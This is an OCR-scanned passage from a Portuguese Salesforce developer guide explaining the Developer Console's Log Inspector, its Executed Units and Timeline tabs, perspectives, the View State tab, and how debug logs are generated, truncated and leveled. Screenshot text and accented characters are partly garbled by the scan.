Porcentagem que o processo levou para a solicitagdo completa.

A guia Unidades executadas exibe o0s recursos do sistema usados por cada item no processo.

locmmonrien ——— ]

Save Order | Limits | Timeline | Executed Units
What Mame Sum Avg Max Min Count Heap Query Type Sumrows Avgrows Maxrows = Minrow
Method size 0,40 0.08 0,11 0.06 5 0 nfa nfa nfa nfa nfa ol
Method debug 0.72 0.08 0,13 0.08 8 0 nja nfa nfa nja nfa
Method execute 36,92 36,92 36,92 36,92 1 2534 nfa nfa nfa nfa nfa H
Method _uifcom... 36,98 36.98 36.98 36.98 1 0 nja nfa nfa nja nfa
Method add 0,43 0.12 0,15 0.09 4 0 nfa nfa nfa nfa nfa -
Show: | Methods | Queries || Workflow || Callouts | DML || Validations || Triggers | Pages

Os botdes na parte inferior da guia podem ser usados para filtrar as informacées por tipo de item. Por exemplo, se ndo deseja visualizar
os detalhes de métodos, clique em Methods (Métodos). Clique no botdo uma segunda vez para limpar o filtro.

A guia Unidades executadas contém estas informacoes:
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Coluna

Qual

Nome
Soma
Méd

Max

Min
Contagem
Heap

Tipo de consulta

Linhas de somatdria
Méd de linhas
Max de linhas

Min de linhas

Descricdo

Tipo do item do processo. Os tipos incluem:
- Método

-~ Consultas

—  Fluxo de trabalho

- Callouts

- DML

- Validacoes

-~ Acionadores

- Péqginas

Nome do item do processo

Duracdo total referente ao item

Duracdo média referente ao item

Duragdo maxima para o item.

Durag¢do minima para o item.

NUmero de vezes que o item foi chamado durante o processo

Quantidade de espaco que o item ocupou no heap.
Tipo de consulta. Os valores possiveis séo:

- SoqQL

- SOSL

NUmero total de registros alterados para o item
Numero médio de registros alterados para o item.
NUmero méximo de registros alterados para o item.

Numero minimo de registros alterados para o item.

Para classificar as informacdes por uma coluna especifica, clique no cabecalho dela.
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@ Importante: Se estiver usando um Mac e ndo localizar as barras de rolagem nos painéis do Inspetor de registro, abra System
Preferences (Preferéncias do sistema) > General (Geral) e defina Mostrar barras de rolagem para Sempre.

CONSULTE TAMBEM:

Menu Depurar

Guia Registros

Gerenciando perspectivas no inspetor de registro

Criando perspectivas personalizadas no inspetor de registro
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Exemplos de uso do inspetor de registros

Confira aqui algumas maneiras de usar as ferramentas no Inspetor de registro para diagnosticar e resolver os problemas.

Rastreando o caminho da execucao

Exibindo declaracbes System.Debug

Atualizando o codigo-fonte

Monitorando DML em uma solicitacéo

Avaliando o desempenho de uma pagina do Visualforce

Exibindo um processo complexo

Rastreando o caminho da execucao

Cendrio: Vocé abriu um registro de depuragao no Inspetor de registro. Quais sao algumas das formas de percorrer as informagoes?

1. No painel de Registro de execucdo, selecione Executable (Executavel) para filtrar todas as etapas néo executaveis, incluindo
informacées de limites cumulativos.

2. No painel Visdo geral da execucéo, clique na guia Unidades executadas para exibir os valores agregados de tipos diferentes de
operacdes na solicitacdo. Por exemplo, é possivel exibir o nimero de operacées DML ou os diferentes métodos pelo tipo de
método.

3. Clique na guia Limites para exibir os limites do controlador usados por esta operacéo.

Exibindo declara¢des System.Debug

Cendrio: Vocé adicionou um nimero de instrucdes System. Debug ao seu cédigo para rastrear o progresso de uma solicitacao.
Como vocé as localiza usando o Inspetor de registro?

1. No painel Registro de execucao, selecione Filter (Filtrar).
2. Insira DEPURAR (mailsculas) na caixa de entrada.

Somente as linhas com a string DEPURAR sdo mostradas na exibicao da solicitagdo.

Atualizando o cédigo-fonte

Cendrio: Logo apds executar a sua solicitacdo, vocé observa um cédigo de erro Apex no registro de depuracdo. Qual é a maneira
mais facil de editar seu cédigo Apex?

1. No painel Fonte, selecione a linha de cédigo.
2. (lique em Open (Abrir).

A classe ou o acionador abre em uma nova guia do Editor de cédigo-fonte.

Monitorando DML em uma solicitacdo

Cendrio: Sua solicitacdo contém muitas instrucées DML em diferentes locais. Como é possivel saber quantas vezes o DML foi executado
em uma solicitacdo?

Aqui estao duas técnicas para navegacao em um registro de depuragdo para examinar a DML real executada durante a duracdo da
solicitagdo:

1. No painel do Registro de execucao, clique em Filter (Filtrar) e digite DML. Todos os itens na solicitacdo que contiverem DML
em algum ponto no evento ou em detalhes serdo exibidos.

2. No painel Visdo geral da execucao, clique na guia Unidades executadas e desative todos 0s outros tipos de execugao, exceto
por DML. Os botdes sdo alternancias—clique uma vez para filtrar aquele tipo de operacédo da lista. Cliqgue novamente para
desativar o filtro. Para exibir somente a DML, cligue em Métodos, Consultas, Fluxo de trabalho, Chamadas, Validacoes,
Acionadores e Paginas do Visualforce.
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e Os detalhes da operagdo DML mostram o tipo de objeto que foi afetado e a operacao especifica realizada — insercéo,
atualizacdo etc. Também é possivel exibir o nimero de vezes em que a declaracdo DML foi executada, o ndmero de linhas
e assim por diante.

e Sevocé clicarem um item de solicitacdo DML na secdo Unidades executadas, o Registro de execucéo filtrard todas as outras
partes da solicitacdo e exibird apenas essa instrucado DML.

Vocé também pode usar estes procedimentos para consultar e filtras as consultas.

Avaliando o desempenho de uma pagina do Visualforce
Cendrio: Vocé tem uma pdgina do Visualforce e um controlador do Apex que executa consultas de SOQL. Como vocé analisa o
desempenho da sua pagina e encontra qual unidade de cédigo demorou mais? Como vocé determina quantas consultas sao
executadas na solicitacdo? Como confirmar se vocé esté se aproximando dos limites do controlador?

1.

No painel Arvore de pilha, procure 0 nome da pégina Visualforce. O nivel superior tem o formato /apex/pagename. O
primeiro né abaixo dele mostra a execucdo real da pagina. Abra o né para exibir quando o controlador foi inicializado.

Proceda para abrir nds para explorar a chamada de métodos e quanto tempo cada método demorou. Quando vocé clica em
um item no painel da Arvore de pilha, o painel Registro de execucdo exibe essa parte do registro de depuracéo, o painel Source
(Origem) ¢é atualizado para exibir o cédigo-fonte adequado e o painel Varidveis mostra as varidveis do contexto.

No painel Visdo geral da execucéo, clique na guia Unidades executadas para exibir as estatisticas do seu codigo que inclui o
tempo de execucao em milissegundos e 0 tamanho do heap em bytes. A coluna Cnt mostra o nimero de vezes que uma
determinada unidade de cédigo foi executada. Se uma unidade de cédigo foi executada mais de uma vez, a soma, média, tempos
maximo e minimo de execucéo sao atualizados. Da mesma forma, se uma consulta é executada mais de uma vez, a exibicéo é
atualizada para resumir os nimeros agregados de linhas retornadas.

Vocé pode filtrar unidades de cédigo ao clicar em botdes na parte inferior que corresponda as unidades de cédigos que vocé
deseja omitir na exibicao. Monitorando DML em uma solicitacdo explica como fazer isso.

Save Order  Limits | Timeline | Executed Units

What MName Sum Avg Max Min Count Heap Query Type Sumrows Avgrows Maxrows — Minrow
Method size 0.40 0.08 0.11 0.08 5 0 nfa nfa nfa nfa nfa =
Method debug 0.72 0.09 0.13 0.08 8 0 nfa nfa nfa nfa nfa

Method execute 36.92 36.92 36.92 36.92 1 2534 nfa nfa nfa nfa nfa -
Method [ _uifcom... 36.98 36.98 36.98 36.98 1 0 nfa nfa nfa nfa nfa D
Method add 0.49 0.12 0.15 0.09 4 0 nfa nfa nfa nfa nfa -

Show: | Methods | Queries || Workflow || Callouts | DML || Validations | Triggers | Pages

Clique na guia Limites para verificar os limites aplicaveis e a proximidade da sua solicitagdo em relacéo ao limite aplicavel. A
coluna Total disponivel mostra os limites do controlador para a sua organizacdo por tipo de operacgdo. A coluna Solicitar total
mostra o nimero total de solicitacdes realizadas. A coluna Usado até mostra o nimero de solicitacdes consumidas no ponto de
execucao selecionado no registro de execucao ou rastreamento de pilha.

Clique em Cronograma para ver um gréfico das unidades de cédigo executadas divididas pelo tipo de unidade de cédigo, além
do total e da porcentagem do tempo de execugao para cada tipo de unidade de cédigo. O cronograma permite que vocé localize
rapidamente quais partes da solicitacdo demoraram mais. Selecione um intervalo de tempo na parte inferior da secdo do resumo
para aumentar ou diminuir o periodo exibido no cronograma.



Aprimorar o Salesforce com codigo Guia do usudrio | Depuragdo com o uso do console do
desenvolvedor | 267

Save Order | Limits | Timeline | Executed Units

Category Milis % 14:53:01.100 14:53:01.110 14:53:01.120 14:53:01.130 14:5.

[ | El
WORKFLOW 0.00 0.00%
DB 0.00 0.00% =
4| 1 +
Scale: @ 0.01Seconds () 0.1 Seconds () 1Seconds () 10 Seconds () Minutes

Neste exemplo, as solicitacdes de banco de dados demoraram mais (56,95%). Elas séo sequidas pela pagina Visualforce. A menor
quantidade de tempo foi gasta no cédigo Apex. Além disso, as paginas do Visualforce e o cédigo Apex foram executados primeiro
e por ultimo, enquanto as operacdes de banco de dados eram realizadas entre eles.

Exibindo um processo complexo
Cendrio: Seu processo é complexo, e inclui varios acionadores e classes do Apex, fluxo de trabalho e regras de validacao. Quais sdo
algumas das melhores formas de percorrer ou filtrar o registro de depuracao resultante?

1. Asecao Pilha contém uma estrutura em arvore ilustrando o caminho de execucdo de todos os itens de nivel superior na solicitagao.
Use-a para visualizar a hierarquia de itens a medida que eles forem executados.

2. Use a caixa de entrada Filter (Filtrar) no registro de execucao. Por exemplo, se vocé estiver interessado nos eventos especificos
do acionador, clique em Filter (Filtrar) e insira acionador. Somente as linhas no registro de depuragao contendo a palavra
acionador 5do exibidas na se¢ao de registro de execucao.

3. Limite 0 escopo da guia Registro da execucao para um quadro selecionado especifico da execucdo selecionando This Frame
(Este quadro). Por exemplo, se vocé selecionar uma linha que contém CODE_UNIT STARTED no registro de execugéo e,
em seguida, clicar em This Frame (Este quadro), o registro de execucéo exibird somente os itens na solicitacdo que ocorrem
entre CODE_UNIT STARTED eseu CODE UNIT ENDED associado.

@ Nota: Quando This Frame (Este quadro) for selecionado, o Registro da execucdo somente exibira os itens contidos no
quadro, e ndo qualquer operacao de nivel inferior. Por exemplo, se um acionador chamar uma classe, somente as operacées
do acionador serdo exibidas no Registro da execucao, nao as operacdes da classe.

Perspectivas do inspetor de registro

Criando perspectivas personalizadas no inspetor de registro
Uma perspectiva é um layout predefinido de painéis no Console do desenvolvedor Inspetor de registros.

Ao executar uma tarefa no Inspetor do sistema, use uma perspectiva que agilize e facilite a conclusao da tarefa. Cada desenvolvedor
tem um estilo diferente. Para obter uma lista de perspectivas prontas, consulte Inspetor de registros.

Para criar uma perspectiva personalizada ou modificar uma perspectiva existente.

1. No Console do desenvolvedor, abra um registro no Inspetor de registro.

2. (ligueem Debug (Depurar) > View Log Panels (Exibir painéis de registro) e selecione os painéis que deseja incluir na perspectiva.
Para obter uma lista de painéis disponiveis, consulte Painéis de log. Se uma perspectiva for modificada, um * sera anexado ao nome

dela até que ela seja salva.

Dica: Se uma perspectiva que inclua o painel Execution Log (Registro de execucdo) for criada, talvez vocé queira incluir o
painel Source (Origem).



Aprimorar o Salesforce com codigo

Guia do usudrio | Depuragdo com o uso do console do

desenvolvedor | 268

3. Parasalvarsuas alteracdes, clique em Save Perspective (Salvar perspectiva). Para criar uma perspectiva, clique em Save Perspective
As (Salvar perspectiva como) e insira um novo nome.

CONSULTE TAMBEM:

Inspetor de registro

Gerenciando perspectivas no inspetor de registro

Gerenciando perspectivas no inspetor de registro

Uma perspectiva é um layout predefinido de painéis no Console do desenvolvedor Inspetor de registros.

Ao realizar uma tarefa no Inspetor de registro, verifique se escolheu a perspectiva certa para o trabalho.

Para gerenciar suas perspectivas, clique em Debug (Depurar) > Perspective Manager (Gerenciador de perspectiva).

e Para alternar para uma perspectiva diferente, clique duas vezes no nome da perspectiva ou selecione e clique em Open (Abrir).

e Para alterar a perspectiva padrao, selecione o nome da perspectiva e clique em Set Default (Definir padréo).

e Para excluir uma perspectiva, selecione o nome da perspectiva e clique em Delete (Excluir).

e Para criar uma perspectiva personalidade, consulte Criando perspectivas personalizadas no inspetor de registro.

As seguintes perspectivas sdo predefinidas:
e All (Todos) (padrao)

Save Order | Limits
What Name:
Method size
Method debug
Method execute_a...
Method J_uifcommo...
Method add
Method

Show: | Methods || Queries

Timeline

Sum
0.34
0.66
31.43
3148
0.39
0.36

Workflow

Avg
0.07
0.08
31.43
3148
0.10
0.36

Log /_ui/common/apex/debug/ApexCSIAPI @04/24 11:04:55 *

Max Min

0.12 0.05
0.11 0.07
3143 31.43
3148 3148
0.11 0.09
0.38 0.36

Callouts | DML || Validations || Triggers

Count

S B e e @ o,

Pages

Heap

Query Type
nfa
nfa
nfa
nfa
nfa

nfa

Sum rows
nfa
nfa
nfa
nfa
nfa

nfa

Avg rows
nfa
nfa
nfa
nfa
nfa

nfa

O —
Execution Tree || Performance Tree Timestamp Event Details #  Count
Unit Duration Heap 11:04:55:086 EXECUTION_ST. B E Source for /_ui/common/apen/debug/?
5E3 / uijcommon/... 31,48 2534 11:04:55:086 CODE_UNIT_ST..  [EXTERNAL] |execute ||
@ Cexeatte_. 31.43 2534 11:04:55:086 VARIABLE_SCO... [{]lcharacters|LIST<t < m '
11:04:55: 108 HEAP_ALLOCATE  [EXTERNAL] [Bytes:7 Jump Open
Unit Duration Heap 11:0%:55: 108 STATEMENT_EX i Wariable Value
debug 0.07 1] N STATEMENT_BX i <empty> None in scope at line
debug 007 0 [0 11:0455:108 HEAP_ALLOCATE  [1][Bytes:4 1l
i e . greserane e s ~ rnaeaen .
debug 0.09 0 - [l This Frame [C] Executanle [] Debug Only [] Filter

Executed Units

Max rows
nfa
nfa
nfa
nfa
nfa

nfa

Min row
nfa
nfa
nfa
nfa
nfa

nfa

e Debug (Depurar): uma perspectiva projetada para depuracao de cddigo que inclui os painéis Registro de Execugdo, Origem e

Variaveis.
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Log /_ui|

CSIAPI @04/24 13:13:39 ©

Timestamp

13:13:39:084
13:13:39:084
13

9:084
13:13:39:140
13

< .

[T This Frame [C] Executadle [Z] Debug Only (] Fitter

Event
EXECUTION_ST.
CODE_UNIT_ST...
VARIABLE_SCO
HEAP_ALLOCATE
HEAP_ALLOCATE
STATEMENT _EX...
STATEMEMT_EX...
HEAP_ALLOCATE
SYSTEM_CONST.
SYSTEM_CONST.
HEAP_ALLOCATE

SYSTEM_METHO...
SYSTEM_METHO...

HEAP_ALLOCATE

SYSTEM_METHO...
SYSTEM_METHO...

HEAP_ALLOCATE

SYSTEM_METHO...
SYSTEM_METHO...

HEAP_ALLOCATE

SYSTEM_METHO...

Details

[EXTERNAL] |execute_anonymaous_apex
[1]|characters|LIST <String > Jtrue [false

[EXTERNAL] |Bytes: 7
[EXTERMAL] [Bytes: 13

[l

[l

[1]|Bytes:4

[1]]<init=>()

[1]]<init=>()

[1]|Bytes:5
[1]|LIST<String>.add(Object)
[1]|LIST<String>.add(Object)
[1]|Bytes: 16
[1]|LIST<String>.add(Object)
[1]|LIST<String>.add(Object)
[1]|Bytes: 17
[1]|LIST<String>.add(Object)
[1]|LIST<String>.add(Object)
[1]|Bytes:3
[1]|LIST<String>.add(Object)

£

@ ow @ B oW R e

4

Count

@ @ o m

Jump

Variable

Guia do usudrio | Depuragdo com o uso do console do

List characters = new List{'child’,

String spacinglinteger num) {

String spacing

for (integer i
spacing +=

1

return spacing;

0; i € num * 5; i+4)

Value

e e

'little white dog’,

{
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13

Open

Log Only (Apenas registro): Uma perspectiva multiuso para visualizar a execugao do registro que inclui apenas o painel Registro de

execucao.

Log /_uj|

Timestamp

13:13:39:084
13:13:39:084
13:13:39:084
13:13:39:140

Event
EXECUTION_ST.
CODE_UINIT_5T.
VARIABLE_SCO
HEAP_ALLOCATE
HEAP_ALLOCATE
STATEMENT _EX
STATEMENT_FX
HEAP_ALLOCATE
SYSTEM_CONST.
SYSTEM_CONST.
HEAP_ALLOCATE
SYSTEM_METHO
SYSTEM_METHO
HEAP_ALLOCATE
SYSTEM_METHO
SYSTEM_METHO
HEAP_ALLOCATE
SYSTEM_METHO
SYSTEM_METHO
HEAP_ALLOCATE
SYSTEM_METHO

CSIAPI @04/24 13:13:39 ~

Details

[EXTERMAL] |execute_anonymous_apex
[1] |characters|LIST <5String > Jtrue [false

[EXTERMAL] |Bytes: T
[EXTERMAL] [Bytes: 13

8]

[l

[1]|Bytes:4

[1]|<init>()

[1]|<init>()

[1]|Bytes:5

[1]|LI5T<String > . add{Object)
[1]|LI5T<5tring > . add{Object)
[1]|Bytes:16
[1]|LI5T<5tring > . add{Object)
[1]|LI5T<String > . add{Object)
[1]|Bytes:17
[1]|LI5T<String > . add{Object)
[1]|LI5T<5tring > . add{Object)
[1]|Bytes:a

[1]|LI5T<5tring > . add{Object)

.

[] This Frame [] Executable [] Debug Only [C] Filter

* Analysis (Analise): Uma perspectiva projetada para andlise de registro que inclui os painéis Arvore de pilha, Pilha de execucio,
Registro de execucao e Visao geral de execugdo.
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Execution Tree || Performance Tree Timestamp Event Details
Unit Duration Heap 13:13:39:084 EXECUTION_ST. -
(71 /_uifcommen/apex/debu... 105.36 2540 13:13:39:084 CODE_UNIT_ST. [EXTERNAL] |execute_anonymous_apex D
13:13:39:084 VARIABLE_SCO. [1] |characters|LIST <String > |true | false
13:13:39:140 HEAP_ALLOCATE  [EXTERNAL] [Bytes:7
Pr—— 13:13:39:140 HEAP_ALLOCATE  [EXTERNAL] [Bytes: 13
13:13:39:140 STATEMENT _EX. 1]
Unit Duration Heap = 8l
13:13:39:140 STATEMENT Ex..  [1]]
debug 0.10 0 -
13:13:39:140 HEAP_ALLOCATE 1] |Bytes:4
debug 0.10 0 D = LBy -
an RV - Feaom.n
debug 0.10 0 4 LI} 3
debug 0.13 a + [ This Frame [ Executable [C] Debug Only [C] Filter

SaveOrder | Limits | Timeline | Execwted Units

What MName Sum Avg Max Min Count Heap Query Type  Sum rows Avg rows Max rows Min row
Method size 0.58 0.12 0.20 0.07 5 0 nfa nfa nfa nfa nfa
Method debug 2.12 0.27 101 0.10 8 0 nfa nfa nfa nfa nfa
Method execute_a 105.30 105.30 105.30 105.30 1 2540 nfa nfa nfa nfa nfa
Method [ _uifcommo... 105.36 105.35 105.36 105.36 1 0 nfa nfa nfa nfa nfa
Method add 0.46 0.11 0.13 0.10 4 0 nfa nfa nfa nfa nfa
Method 0.10 0.10 0.10 0.10 1 0 nfa nfa nfa nfa nfa
Show: | Methods || Queries | Workflow || Callouts % Validations | Triggers Paﬂ

Use uma perspectiva que deixe a conclusao da sua tarefa facil e rapida. Todo desenvolvedor tem um estilo diferente. Se uma das
perspectivas predefinidas nao atender suas necessidades, é facil projetar a sua propria. Para obter detalhes, veja Criando perspectivas
personalizadas no inspetor de registro

CONSULTE TAMBEM:

Inspetor de registro

Criando perspectivas personalizadas no inspetor de registro

Guia Estado de exibicao

A guia View State (Estado de exibi¢cdo) do Console do desenvolvedor permite examinar o estado de exibicdo de uma solicitagao de

pagina do Visualforce.

1 w/dpEx i seleCLLlSL>
1 e n e 3 e D e a3 A 4 T 1 TS e 1 e 1T
14| 1
Logs | Tests | Checkpoints | Query Editor || View State Progress Problems
Mame Type Value Size (KB) % Of Parent
4 =5 ChartingRefreshingDataTraditional 2.13 100
=] Component Tree 0.38 18
47 State 1.92 a0
4 =7 Controllers 0.28 15
4 5 PieChartRemoteController Paoe chartingrefreshingdatatra. .. 0.28 100
=] charttear String 2013 0.03 11
=| Expressions 0.38 20
=] Internal 1.26 66

4
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A guia Estado de exibicdo no Console do desenvolvedor funciona da mesma forma que a guia Estado de exibicéo no rodapé do Modo
de desenvolvimento do Visualforce, exceto que clicar duas vezes no né da pasta ndo abre uma janela de grafico de pizza do uso. Consulte
“Sobre a guia Estado de exibicao” no Guia do desenvolvedor do Visualforce para obter mais detalhes.

Ativando a guia Estado de exibicdo

Para ativar a guia Estado de exibicéo:

1. Em suas configuracdes pessoais, insira Detalhes avancados do usudrio nNacaixa Busca réapida e selecione
Detalhes avancados do usudrio. Nenhum resultado? Insira Tnformacées pessoais nacaixa Busca rapida eselecione

Informagdes pessoais.

Clique em Edit (Editar).

Selecione a caixa de selecdo Modo de desenvolvimento Se nao estiver selecionada.

2
3
4. Selecione a caixa de selecdo Mostrar estado do modo de exibicdo no modo de desenvolvimento.
5

Cligue em Save (Salvar).

@ Nota: Visto que o estado de exibicdo esté ligado aos dados de formulario, a guia Estado de exibicdo aparece apenas se sua pagina
contiverumamarca <apex : form>. Além disso, a guia Estado de exibicdo é exibida apenas em paginas que usam controladores

personalizados ou extensdes de controlador.

Registros de depuracdo

Usando registros de depuracgdo

PERMISSOES DO USUARIO

Para usar o console do desenvolvedor: “Exibir todos os dados”

Para executar andnimo no Apex: “Apex do autor”

Para usar a pesquisa de codigo e executar “API ativada”
SOQL ou SOSL na guia de consulta:

Para salvar as alteragdes as classes de “Apex do autor”
Apex e acionadores:

Para salvar as altera¢des nas paginas do  “Personalizar aplicativo”

Visualforce e componentes:

Para salvar as alteragdes nos recursos do  “Personalizar aplicativo”

Lightning:

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Performance, Unlimited,
Developer, Enterprise e
Database.com

Ainterface de usuario, os
Servicos de Email e as
Aprovacoes Salesforce, ndo
estdo disponiveis em
Database.com.

Um registro de depuragdo pode registrar opera¢oes do banco de dados, processos do sistema e erros ocorridos durante a execucdo de
uma transacao ou de testes de unidade. Os registros de depuracdo podem conter informagdes sobre:

e Alteragdes em bancos de dados
e (allouts de HTTP

e Erros do Apex


https://developer.salesforce.com/docs/atlas.en-us.198.0.pages.meta/pages/
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e Recursos usados pelo Apex

e Processos automatizados de fluxo de trabalho, como:
-~ Regras do fluxo de trabalho
-~ Regras de atribuicdo
- Processos de aprovagao

- Regras de validacdo

O sistema gera um registro de depuracdo sempre que uma transacao existente nos critérios de filtro definidos é executada.

As transacoes podem ser geradas pelo seguinte:

e Interface do usudrio do Salesforce

e APl

e (Chamadas do executeanonymous

e Servicos da Web

e Servicos de email

Os critérios do filtro definidos para o usuério, o cabecalho do Console do Desenvolvedor ou da APl determinam o que estd incluido no

registro de depuragao.

@ Nota: Os registros de depuragdo ndo incluem as transagdes acionadas por conversao de lead. Por exemplo, suponha que um
lead convertido acione uma regra de fluxo de trabalho. O registro de depuracdo ndo mostrara que essa regra de fluxo de trabalho
foi acionada.

Confira exemplos de quando usar o registro de depuracéo a sequir:

e Como um desenvolvedor criando um aplicativo personalizado, vocé pode usar o registro de depuracao para validar o comportamento
do aplicativo. Por exemplo, é possivel definir o filtro do registro de depuracao para procurar por callouts e, no registro de depuracao,
exibir informacées sobre o sucesso e a duracao destes callouts.

e Como administrador de uma organizacéo, vocé pode usar o registro de depuracao para solucionar problemas quando um usuério
relata dificuldades. E possivel monitorar os registros de depuraco para o usuério enquanto eles passam pela transacéo relacionada
e, entao, usar o registro de depuragao para exibir os detalhes do sistema.

Limites do Log de Depuracao
Os limites para os logs de depuragdo estdo relacionados a sequir.

e (adalog de depuracdo deve ter 2 MB ou menos. Os registros de depuracdo maiores que 2 MB sao reduzidos removendo linhas de
registro antigas, como as linhas de registro de declaracoes anteriores do System. debug. Aslinhas de registro podem ser removidas
de qualquer lugar, e ndo apenas do inicio do registro de depuracéo.

e (Cadaorganizacao pode conter até 50 MB de logs de depuracao. Quando a sua organizacao tiver atingido 50 MB de logs de depuracdo,
0s logs mais antigos comegam a ser substituidos.

Truncamento do Log de Depuragdo

Para fornecer as informacdes mais pertinentes, os registros de depuracdo séo truncados comecando com as entradas de registro mais
antigas. As entradas de registro mais recentes sempre sao preservadas. O registro de depuracao é truncado em 200 KBytes quando
atinge seu tamanho méximo de 2 MB.

Os seguintes eventos sao necessarios para processar o registro de depuragao e estao associados a entradas de registro que ndo podem
ser excluidas:

¢ EXECUTION STARTED
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® EXECUTION FINISHED
® CODE UNIT STARTED
°* CODE UNIT FINISHED
e METHOD ENTRY

°* METHOD EXIT

® CONSTRUCTOR ENTRY
® CONSTRUCTOR EXIT

® SOQL EXECUTE BEGIN
® SOQL EXECUTE END

® SOSL_EXECUTE BEGIN
® SOSL EXECUTE END

®* CALLOUT REQUEST

® CALLOUT RESPONSE

°* FATAL ERROR

@ Nota: Entradas de registro de eventos necessarios para processar o registro de depuracéo nao séo truncadas e sempre seréo

parte do registro de depuracao. No entanto, outras informacées de registro que aparecem entre as linhas inicial e final dessas
entradas de registro sao removidas como parte do truncamento do registro.

CONSULTE TAMBEM:

Pesquisando em um registro de depuragao

Ordem de precedéncia dos logs de depuracao

Os eventos que sdo registrados dependem de varios fatores. Esses fatores incluem os sinalizadores EDlCOES
de rastreamento, niveis de log padrao, cabecalho da AP, ativacao do log do sistema baseado no
usudrio e niveis de log definidos pelos pontos de entrada.

Disponivel em: Salesforce

A ordem de precedéncia dos niveis de log de depuracao é: Classic e Lightning
- . - . Experience
1. Ossinalizadores de rastreamento substituem todas as outras légicas de registro. O Console do
desenvolvedor define um sinalizador de rastreamento ao ser carregado, e esse sinalizador Disponivel em: Enterprise,
permanece em vigor até expirar. £ possivel definir os sinalizadores de rastreamento no Console Performance, Unlimited,
do desenvolvedor, em Configuracéo ou usando os objetos TraceFlag e DebugLevel Developer e Database.com
da API de conjunto de ferramentas. Editions

@ Nota: A definicdo de sinalizadores de rastreamento de classe e de acionador ndo leva a
geracao ou gravagao de registros. Os sinalizadores de rastreamento de classe e de
acionador substituem outros niveis de registro, incluindo os niveis de registro definidos
pelos sinalizadores de rastreamento do usuério, mas ndo fazem com que o registro ocorra.
Se o registro em log estiver ativado durante a execucéo de classes ou acionadores, 0s
logs serdo gerados no momento da execucao.

2. Sendo houver sinalizadores de rastreamento ativos, 0s testes sincronos ou assincronos do Apex serao executados com os nfveis de
log padréo. Os niveis de log padrao séo:

BD
INFORMACOES
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APEX_CODE
DEPURAR

APEX_PROFILING
INFORMACOES

FLUXO DE TRABALHO
INFORMACOES

VALIDACAO
INFORMACOES

CHAMADA
INFORMACOES

VISUALFORCE
INFORMACOES

SISTEMA
DEPURAR

3. Sendo houver sinalizadores de rastreamento relevantes ativos e nenhum teste estiver em execucao, o cabecalho da API definird os
niveis de log. Solicitacdes de API enviadas sem cabecalhos de depuracdo geram logs transitérios, ou seja, logs que ndo sao salvos a
menos que outra regra de log esteja em vigor.

4. Sevocé ativar os logs de sistema para um usudrio, obterd logs de depuracao referentes as préximas 20 solicitacdes desse usuario.
Para aprender a configurar registros de depuracao baseados no usuério, consulte Monitorar registros de depuragéo.

5. Se o ponto de entrada definir um nivel de log, esse nivel serd usado. Por exemplo, as solicitacdes do Visualforce podem incluir um
parametro de depuracédo que define niveis de log.

Se nenhum desses casos for aplicavel, ndo serdo gerados nem armazenados logs.

CONSULTE TAMBEM:
Guia Registros
Niveis de registro de depuracao
https://developer.salesforce.com/docs/atlas.en-us.api_tooling.meta/api_tooling

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode

Niveis de registro de depuracdo

PERMISSOES DO USUARIO EDICOES
Para usar o console do desenvolvedor: “Exibir todos os dados” Disponivel em: Salesforce
p o Apex: "Apex d ., Classic e Lightning

ara executar andnimo no Apex: pex do autor Experience

Para usar a pesquisa de codigo e executar “API ativada”

; Disponivel em: Enterprise,
SOQL ou SOSL na guia de consulta:

Performance, Unlimited,
Para salvar as alteracdes as classes de “Apex do autor” Developer e Database.com
Apex e acionadores: Editions

"

Para salvar as alteracdes nas paginas do  “Personalizar aplicativo
Visualforce e componentes:


https://developer.salesforce.com/docs/atlas.en-us.api_tooling.meta/api_tooling
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode
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Para salvar as alteragdes nos recursos do Lightning: “Personalizar aplicativo”

Para especificar o nivel de informacoes que séo incluidas nos registros de depuragéo, configure sinalizadores de rastreamento e niveis
de depuracdo. Os niveis de depuragao para as sinalizadores de rastreamento especificam o tipo e a quantidade de informacdes registradas
para diferentes eventos. Apds o registro, inspecione os eventos de depuragdo em seus registros de depuracao.

Um nivel de depuragdo é um conjunto de niveis de registro para categorias de registro de depuracao, como Banco de dados,
Fluxo de trabalho, Validacao etc. Um sinalizador de rastreamento inclui um nivel de depuragdo, um horario de inicio, um
hordrio de término e um tipo de registro. Os tipos de registro sdio DEVELOPER LOG, USER_DEBUG e CLASS TRACING.

Ao abrir o Console do desenvolvedor, um sinalizador de rastreamento DEVELOPER _LOG € definido para registrar suas atividades. Os
sinalizadores de rastreamento USER_DEBUG causam o registro das atividades de um usuario individual. Os sinalizadores de rastreamento
CLASS_TRACING substituem os niveis de registro para classes e acionadores do Apex, mas ndo geram registros.

Ao usar o Console do desenvolvedor ou ao monitorar um registro de depuragdo, vocé poderd especificar o nivel das informagdes que
serdo incluidas no registro.

Categoria do log
O tipo de informagdes registradas, como informacdes do Apex ou das regras de fluxo de trabalho.

Nivel do log
A quantidade de informacées registradas.

Tipo de evento
A combinacéo da categoria do registro e do nivel do registro que especificam quais eventos sao registrados. Cada evento pode
registrar informacdes adicionais, como a linha e o nimero do caractere em que o evento foi iniciado, 0s campos associados ao
evento, a duracdo do evento em milissegundos e assim por diante.

Categorias de registro de depuragdo

Cada nivel de depuracéo inclui um nivel de registro de depuracao para cada uma das categorias de registro a seqguir. A quantidade de
informacées registradas para cada categoria depende do nivel do registro.

Categoria do log Descricdo

Banco de dados Incluiinformagdes sobre a atividade do banco de dados, incluindo cada instru¢do DML (data
manipulation language - linguagem de manipulacéo de dados) ou consulta SOQL ou SOSL
inline.

Fluxo de trabalho Inclui informacées das regras de fluxo de trabalho, fluxos e processos, como o nome daregra,

as acoes tomadas e assim por diante.

Validacédo Inclui informacées sobre regras de validagdo, como o nome da regra, se a regra foi avaliada
como verdadeira ou falsa, etc.

Callout Inclui o XML de solicitagdo/resposta que o servidor esta enviando e recebendo de um servico
da Web externo. Isso é Util quando ocorrem problemas de depuragao relacionados ao uso
de chamadas da API dos servicos da Web do Force.com.

Apex Code (Cédigo do Apex) Incluiinformacdes sobre o cddigo do Apex e pode incluir informagées como mensagens de
registro geradas por declaragées DML, consultas SOQL ou SOSL inline, inicio e conclusdo de
qualquer acionador e inicio e conclusdo de qualquer método de teste, e assim por diante.
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Categoria do log Descrigéio

Apex Profiling (Perfildo Apex) Incluiinformacdes de perfil acumulativas, como os limites para o seu namespace, 0 nimero
de emails enviados e etc.

